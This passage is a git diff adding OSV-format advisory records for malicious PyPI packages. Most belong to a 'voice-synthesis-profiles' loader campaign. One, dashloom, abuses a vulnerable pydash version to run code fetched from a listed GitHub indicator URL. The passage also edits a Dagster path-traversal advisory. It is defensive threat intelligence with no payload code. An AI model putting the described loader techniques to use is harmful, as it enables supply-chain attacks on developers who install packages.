script.\n","affected":[{"package":{"name":"garviscope","ecosystem":"PyPI","purl":"pkg:pypi/garviscope"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/garviscope/MAL-2026-19183.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/garviscope"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/garviscope","import_time":"2026-11-12T21:10:27.205429893Z","modified_time":"2026-11-12T20:50:50.41215Z","sha256":"b9a85e3733b61731415cd2c00077af90475fd10d79833c025013a7f0b966ef15","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19184.json b/data/PyPI/MAL-2026-19184.json new file mode 100644 index 0000000000..ae9684712f --- /dev/null +++ b/data/PyPI/MAL-2026-19184.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19184","published":"2026-11-12T20:46:39Z","modified":"2026-11-12T21:15:14.311703960Z","summary":"Malicious code in garvisuite (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (aba6c4e4d80dd609e6858233c87d8491d40516add07e3bafc8b9aea5f6baa896)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"garvisuite","ecosystem":"PyPI","purl":"pkg:pypi/garvisuite"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/garvisuite/MAL-2026-19184.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/garvisuite"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/garvisuite","import_time":"2026-11-12T21:10:27.206375646Z","modified_time":"2026-11-12T20:46:39.658375Z","sha256":"aba6c4e4d80dd609e6858233c87d8491d40516add07e3bafc8b9aea5f6baa896","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19185.json b/data/PyPI/MAL-2026-19185.json new file mode 100644 index 0000000000..b375c1bf5f --- /dev/null +++ b/data/PyPI/MAL-2026-19185.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19185","published":"2026-11-12T20:41:48Z","modified":"2026-11-12T21:15:14.315069601Z","summary":"Malicious code in inframetric (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (e1dfe7ee88510cfb327969ba6fe21e6dda575abbe6f2a8f7e2e4174c8a58384b)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"inframetric","ecosystem":"PyPI","purl":"pkg:pypi/inframetric"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/inframetric/MAL-2026-19185.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/inframetric"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/inframetric","import_time":"2026-11-12T21:10:27.207060793Z","modified_time":"2026-11-12T20:41:48.44655Z","sha256":"e1dfe7ee88510cfb327969ba6fe21e6dda575abbe6f2a8f7e2e4174c8a58384b","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19186.json b/data/PyPI/MAL-2026-19186.json new file mode 100644 index 0000000000..0e3c9d11af --- /dev/null +++ b/data/PyPI/MAL-2026-19186.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19186","published":"2026-11-12T20:46:16Z","modified":"2026-11-12T21:15:14.311585888Z","summary":"Malicious code in lumitts (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (c1093eeb37afa2ce37481f4c7bb25156eded3eaa1e847e63cb141620b8e41550)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"lumitts","ecosystem":"PyPI","purl":"pkg:pypi/lumitts"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/lumitts/MAL-2026-19186.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/lumitts"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/lumitts","import_time":"2026-11-12T21:10:27.207723535Z","modified_time":"2026-11-12T20:46:16.923299Z","sha256":"c1093eeb37afa2ce37481f4c7bb25156eded3eaa1e847e63cb141620b8e41550","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19187.json b/data/PyPI/MAL-2026-19187.json new file mode 100644 index 0000000000..c49373629f --- /dev/null +++ b/data/PyPI/MAL-2026-19187.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19187","published":"2026-11-12T20:42:43Z","modified":"2026-11-12T21:15:13.591171436Z","summary":"Malicious code in melstagen (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (ac28e45b20df71fefbc8a6294c7e7a202f42b356e38dc49b0e28f335fb9a2737)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"melstagen","ecosystem":"PyPI","purl":"pkg:pypi/melstagen"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/melstagen/MAL-2026-19187.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/melstagen"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/melstagen","import_time":"2026-11-12T21:10:27.208355029Z","modified_time":"2026-11-12T20:42:43.725861Z","sha256":"ac28e45b20df71fefbc8a6294c7e7a202f42b356e38dc49b0e28f335fb9a2737","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19188.json b/data/PyPI/MAL-2026-19188.json new file mode 100644 index 0000000000..940789973b --- /dev/null +++ b/data/PyPI/MAL-2026-19188.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19188","published":"2026-11-12T20:49:23Z","modified":"2026-11-12T21:15:14.311610372Z","summary":"Malicious code in phoneliasr (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (0fb66d50cba21c857c53f0336e328c0d81eb1aba12a77b17e29f3e818302c1f7)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"phoneliasr","ecosystem":"PyPI","purl":"pkg:pypi/phoneliasr"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/phoneliasr/MAL-2026-19188.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/phoneliasr"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/phoneliasr","import_time":"2026-11-12T21:10:27.209020747Z","modified_time":"2026-11-12T20:49:23.710458Z","sha256":"0fb66d50cba21c857c53f0336e328c0d81eb1aba12a77b17e29f3e818302c1f7","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19189.json b/data/PyPI/MAL-2026-19189.json new file mode 100644 index 0000000000..79e2caa42d --- /dev/null +++ b/data/PyPI/MAL-2026-19189.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19189","published":"2026-11-12T20:45:51Z","modified":"2026-11-12T21:15:14.311669412Z","summary":"Malicious code in spectrova (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (e8a78fd42fc449cadaae37c314b15fc82adf945a869f636718488b7e61baf7a9)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"spectrova","ecosystem":"PyPI","purl":"pkg:pypi/spectrova"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/spectrova/MAL-2026-19189.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/spectrova"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/spectrova","import_time":"2026-11-12T21:10:27.209671026Z","modified_time":"2026-11-12T20:45:51.472159Z","sha256":"e8a78fd42fc449cadaae37c314b15fc82adf945a869f636718488b7e61baf7a9","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19190.json b/data/PyPI/MAL-2026-19190.json new file mode 100644 index 0000000000..1c17c05e4d --- /dev/null +++ b/data/PyPI/MAL-2026-19190.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19190","published":"2026-11-12T20:43:24Z","modified":"2026-11-12T21:15:14.918542422Z","summary":"Malicious code in stackvane (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (45bfb9eab4765a149f6e3ac7c08c09236115073f1b2df8a9919a6f91ffd86600)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"stackvane","ecosystem":"PyPI","purl":"pkg:pypi/stackvane"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/stackvane/MAL-2026-19190.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/stackvane"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/stackvane","import_time":"2026-11-12T21:10:27.210305876Z","modified_time":"2026-11-12T20:43:24.114632Z","sha256":"45bfb9eab4765a149f6e3ac7c08c09236115073f1b2df8a9919a6f91ffd86600","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19191.json b/data/PyPI/MAL-2026-19191.json new file mode 100644 index 0000000000..2fa4664273 --- /dev/null +++ b/data/PyPI/MAL-2026-19191.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19191","published":"2026-11-12T20:45:25Z","modified":"2026-11-12T21:15:14.920599992Z","summary":"Malicious code in voxgramasr (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (ada38683f334fda70b705c68576f12fe0bce098e47837b983e8e92dc4e51e12c)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"voxgramasr","ecosystem":"PyPI","purl":"pkg:pypi/voxgramasr"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/voxgramasr/MAL-2026-19191.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/voxgramasr"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/voxgramasr","import_time":"2026-11-12T21:10:27.210898116Z","modified_time":"2026-11-12T20:45:25.204875Z","sha256":"ada38683f334fda70b705c68576f12fe0bce098e47837b983e8e92dc4e51e12c","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19192.json b/data/PyPI/MAL-2026-19192.json new file mode 100644 index 0000000000..f6b7a5c4a3 --- /dev/null +++ b/data/PyPI/MAL-2026-19192.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19192","published":"2026-11-12T20:44:38Z","modified":"2026-11-12T21:15:14.921763654Z","summary":"Malicious code in voxrelitts (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (519830c724d27578cd9be64f1063a461a1f12f3cf7eeca1a0bf3b01785aa7624)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"voxrelitts","ecosystem":"PyPI","purl":"pkg:pypi/voxrelitts"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/voxrelitts/MAL-2026-19192.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/voxrelitts"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/voxrelitts","import_time":"2026-11-12T21:10:27.211528017Z","modified_time":"2026-11-12T20:44:38.709734Z","sha256":"519830c724d27578cd9be64f1063a461a1f12f3cf7eeca1a0bf3b01785aa7624","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19193.json b/data/PyPI/MAL-2026-19193.json new file mode 100644 index 0000000000..85eb84fab1 --- /dev/null +++ b/data/PyPI/MAL-2026-19193.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19193","published":"2026-11-12T20:49:48Z","modified":"2026-11-12T21:15:14.915654211Z","summary":"Malicious code in wavforge (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (e017f6da32e0eec5f8bc75486e5bfb1b016bffea08ce26fb715e816de64ca7ea)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"wavforge","ecosystem":"PyPI","purl":"pkg:pypi/wavforge"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/wavforge/MAL-2026-19193.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/wavforge"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/wavforge","import_time":"2026-11-12T21:10:27.212099388Z","modified_time":"2026-11-12T20:49:49.010837Z","sha256":"e017f6da32e0eec5f8bc75486e5bfb1b016bffea08ce26fb715e816de64ca7ea","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19199.json b/data/PyPI/MAL-2026-19199.json new file mode 100644 index 0000000000..ba268e315d --- /dev/null +++ b/data/PyPI/MAL-2026-19199.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19199","published":"2026-11-12T21:04:04Z","modified":"2026-11-12T21:45:03.424388881Z","summary":"Malicious code in acustoviasr (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (1b7333093822a9bcb12475b4f9a7e57dacecb962f9157f2b67f53ab7797f085d)\nThis campaign consists of similar loader packages, which provide executing code from a given URL. While they do not contain the malicious payload and the usage remains unknown, they are clearly a coordinated campaign to place multiple deceptive ways to load malicious code.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-voice-synthesis-profiles\n\n\nReasons (based on the campaign):\n\n\n - other\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"acustoviasr","ecosystem":"PyPI","purl":"pkg:pypi/acustoviasr"},"versions":["0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/acustoviasr/MAL-2026-19199.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/acustoviasr"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-10-voice-synthesis-profiles/acustoviasr","import_time":"2026-11-12T21:37:07.392105357Z","modified_time":"2026-11-12T21:04:04.779097Z","sha256":"1b7333093822a9bcb12475b4f9a7e57dacecb962f9157f2b67f53ab7797f085d","source":"kam193","versions":["0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-19202.json b/data/PyPI/MAL-2026-19202.json new file mode 100644 index 0000000000..58746ebc42 --- /dev/null +++ b/data/PyPI/MAL-2026-19202.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19202","published":"2026-11-12T22:25:26Z","modified":"2026-11-12T23:15:03.232776444Z","summary":"Malicious code in dashloom (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (ba0285d49d46cd93cdcad1582bb1c013beb3791dc901a0a3c96f3801dba9d909)\nThis package is prepared to be used as a malicious loader. It pins pydash dependency in a vulnerable version allowing reaching out of the object scope when calling `pydash.invoke(...)`. The code to reach it is intended to be delivered from the now-benign GitHub file, which is then splited and passed to the vulnerable function. The same Github user account is also involved in publishing a repository that executes embedded encrypted code when called with specific arguments. The package was originally flagged by PyPI Security.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-dashloom\n\n\nReasons (based on the campaign):\n\n\n - action-hidden-in-lib-usage\n\n\n - Downloads and executes a remote malicious script.\n","affected":[{"package":{"name":"dashloom","ecosystem":"PyPI","purl":"pkg:pypi/dashloom"},"versions":["1.0.0","1.1.0","1.1.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/dashloom/MAL-2026-19202.json"}}],"references":[{"type":"WEB","url":"https://github.com/secure-file-crypter/secure-file-crypter/blob/d139e9955a08528126897f8ed7949f6c6b6891b4/src/pre-post-encrypt.js#L1"},{"type":"WEB","url":"https://github.com/dgilland/pydash/blob/b6bd031de47134b8e3c3977fbe65bf13cc51a205/CHANGELOG.rst?plain=1#L291"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/dashloom"}],"database_specific":{"iocs":{"urls":["https://github.com/dash-loom/dashloom-helper/blob/main/src/dashloom_helper/helper.txt"]},"malicious-packages-origins":[{"id":"pypi/2026-11-dashloom/dashloom","import_time":"2026-11-12T23:09:52.557746197Z","modified_time":"2026-11-12T22:25:26.740092Z","sha256":"ba0285d49d46cd93cdcad1582bb1c013beb3791dc901a0a3c96f3801dba9d909","source":"kam193","versions":["1.0.0","1.1.0","1.1.1"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2025-102.json b/data/PyPI/PYSEC-2025-102.json index 331b6d8d0e..dc972dd2af 100644 --- a/data/PyPI/PYSEC-2025-102.json +++ b/data/PyPI/PYSEC-2025-102.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"PYSEC-2025-102","published":"2025-07-22T17:15:33.543Z","modified":"2026-11-05T18:30:02.541950501Z","aliases":["CVE-2025-51481","GHSA-h7x8-jv97-fvvm","PYSEC-2026-1286"],"details":"Local File Inclusion in dagster._grpc.impl.get_notebook_data in Dagster 1.10.14 allows attackers with access to the gRPC server to read arbitrary files by supplying path traversal sequences in the notebook_path field of ExternalNotebookData requests, bypassing the intended extension-based check.","affected":[{"package":{"name":"dagster-ge","ecosystem":"PyPI","purl":"pkg:pypi/dagster-ge"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.10.14"}]}],"versions":["0.10.0","0.10.0rc0","0.10.1","0.10.1rc0","0.10.2","0.10.2rc0","0.10.3","0.10.3rc0","0.10.4","0.10.4rc0","0.10.5","0.10.5rc0","0.10.6","0.10.6rc0","0.10.7","0.10.7rc0","0.10.8","0.10.8rc0","0.10.9","0.11.0","0.11.0rc0","0.11.1","0.11.10","0.11.10rc0","0.11.10rc1","0.11.10rc2","0.11.11","0.11.11rc1","0.11.11rc5","0.11.11rc7","0.11.12","0.11.12rc0","0.11.12rc2","0.11.12rc3","0.11.13","0.11.13rc2","0.11.13rc3","0.11.13rc5","0.11.14","0.11.14rc0","0.11.14rc1","0.11.14rc2","0.11.14rc3","0.11.14rc4","0.11.14rc5","0.11.14rc7","0.11.14rc8","0.11.15","0.11.15rc0","0.11.15rc1","0.11.16","0.11.16rc10","0.11.16rc18","0.11.1rc0","0.11.2","0.11.2rc0","0.11.3","0.11.3rc0","0.11.4","0.11.4rc0","0.11.5","0.11.5rc0","0.11.5rc1","0.11.6","0.11.6rc11","0.11.6rc13","0.11.6rc14","0.11.6rc15","0.11.6rc16","0.11.6rc17","0.11.6rc18","0.11.6rc19","0.11.6rc20","0.11.6rc21","0.11.6rc22","0.11.6rc23","0.11.6rc24","0.11.6rc25","0.11.6rc26","0.11.6rc27","0.11.6rc28","0.11.6rc29","0.11.6rc31","0.11.6rc32","0.11.6rc5","0.11.6rc7","0.11.6rc8","0.11.6rc9","0.11.7","0.11.7rc1","0.11.7rc10","0.11.7rc13","0.11.7rc14","0.11.7rc2","0.11.7rc3","0.11.7rc4","0.11.7rc6","0.11.7rc7","0.11.7rc8","0.11.7rc9","0.11.8","0.11.8rc4","0.11.8rc5","0.11.9","0.11.9rc10","0.11.9rc11","0.11.9rc12","0.11.9rc6","0.11.9rc7","0.11.9rc8","0.12.0","0.12.0rc0","0.12.1","0.12.10","0.12.10rc0","0.12.10rc1","0.12.11","0.12.11rc0","0.12.12","0.12.12rc0","0.12.13","0.12.13rc0","0.12.14","0.12.14rc0","0.12.14rc1","0.12.14rc2","0.12.15","0.12.15rc2","0.12.1rc0","0.12.2","0.12.2rc0","0.12.3","0.12.3rc1","0.12.4","0.12.4rc0","0.12.4rc1","0.12.5","0.12.5rc0","0.12.6","0.12.6rc0","0.12.7","0.12.7rc0","0.12.8","0.12.8rc0","0.12.9","0.12.9rc0","0.12.9rc1","0.12.9rc2","0.13.0","0.13.0rc0","0.13.1","0.13.10","0.13.10rc3","0.13.11","0.13.11rc0","0.13.12","0.13.12rc2","0.13.13","0.13.13rc0","0.13.14","0.13.14rc0","0.13.15","0.13.15rc0","0.13.16","0.13.16rc0","0.13.17","0.13.17rc0","0.13.18","0.13.18rc0","0.13.19","0.13.19rc2","0.13.1rc0","0.13.2","0.13.2rc0","0.13.2rc2","0.13.3","0.13.3rc0","0.13.4","0.13.4rc0","0.13.5","0.13.5rc0","0.13.6","0.13.6rc0","0.13.7","0.13.7rc0","0.13.8","0.13.8rc0","0.13.9","0.13.9rc0","0.14.0","0.14.0rc0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.13","0.14.14","0.14.15","0.14.16","0.14.16rc2","0.14.16rc3","0.14.16rc4","0.14.17","0.14.17rc10","0.14.17rc3","0.14.17rc4","0.14.17rc5","0.14.17rc6","0.14.17rc7","0.14.17rc8","0.14.18","0.14.18rc2","0.14.18rc3","0.14.18rc4","0.14.18rc5","0.14.18rc6","0.14.19","0.14.1rc0","0.14.2","0.14.20","0.14.20rc0","0.14.21rc0","0.14.2rc0","0.14.3","0.14.3rc0","0.14.4","0.14.4rc0","0.14.5","0.14.5rc0","0.14.6","0.14.6rc0","0.14.7","0.14.7rc0","0.14.8","0.14.8rc1","0.14.9","0.14.9rc0","0.15.0","0.15.1","0.15.10","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.15.8","0.15.9","0.16.0","0.16.0rc2","0.16.1","0.16.10","0.16.11","0.16.12","0.16.13","0.16.14","0.16.15","0.16.16","0.16.17","0.16.2","0.16.3","0.16.4","0.16.6","0.16.7","0.16.8","0.16.9","0.17.1","0.17.10","0.17.11","0.17.12","0.17.13","0.17.14","0.17.15","0.17.16","0.17.17","0.17.17rc0","0.17.18","0.17.19","0.17.2","0.17.20","0.17.21","0.17.3","0.17.4","0.17.5","0.17.6","0.17.7","0.17.8","0.17.9","0.18.0","0.18.1","0.18.2","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.19.0","0.19.1","0.19.10","0.19.11","0.19.12","0.19.13","0.19.14","0.19.14rc1","0.19.14rc2","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.19.7","0.19.8","0.19.9","0.19.9rc0","0.20.0","0.20.1","0.20.10","0.20.11","0.20.12","0.20.13","0.20.13rc0","0.20.13rc1","0.20.14","0.20.15","0.20.16","0.20.17","0.20.2","0.20.3","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.20.9","0.21.0","0.21.1","0.21.10","0.21.11","0.21.12","0.21.13","0.21.14","0.21.14rc0","0.21.2","0.21.3","0.21.4","0.21.5","0.21.6","0.21.7","0.21.8","0.21.9","0.22.0","0.22.1","0.22.10","0.22.11","0.22.12","0.22.13","0.22.14","0.22.2","0.22.3","0.22.4","0.22.5","0.22.6","0.22.7","0.22.8","0.22.9","0.23.0","0.23.1","0.23.10","0.23.11","0.23.12","0.23.13","0.23.14","0.23.15","0.23.16","0.23.2","0.23.2rc1","0.23.2rc2","0.23.2rc3","0.23.2rc4","0.23.3","0.23.4","0.23.5","0.23.6","0.23.7","0.23.8","0.23.9","0.23.9rc0","0.24.0","0.24.1","0.24.10","0.24.11","0.24.12","0.24.13","0.24.2","0.24.3","0.24.4","0.24.5","0.24.6","0.24.7","0.24.8","0.24.9","0.25.0","0.25.1","0.25.10"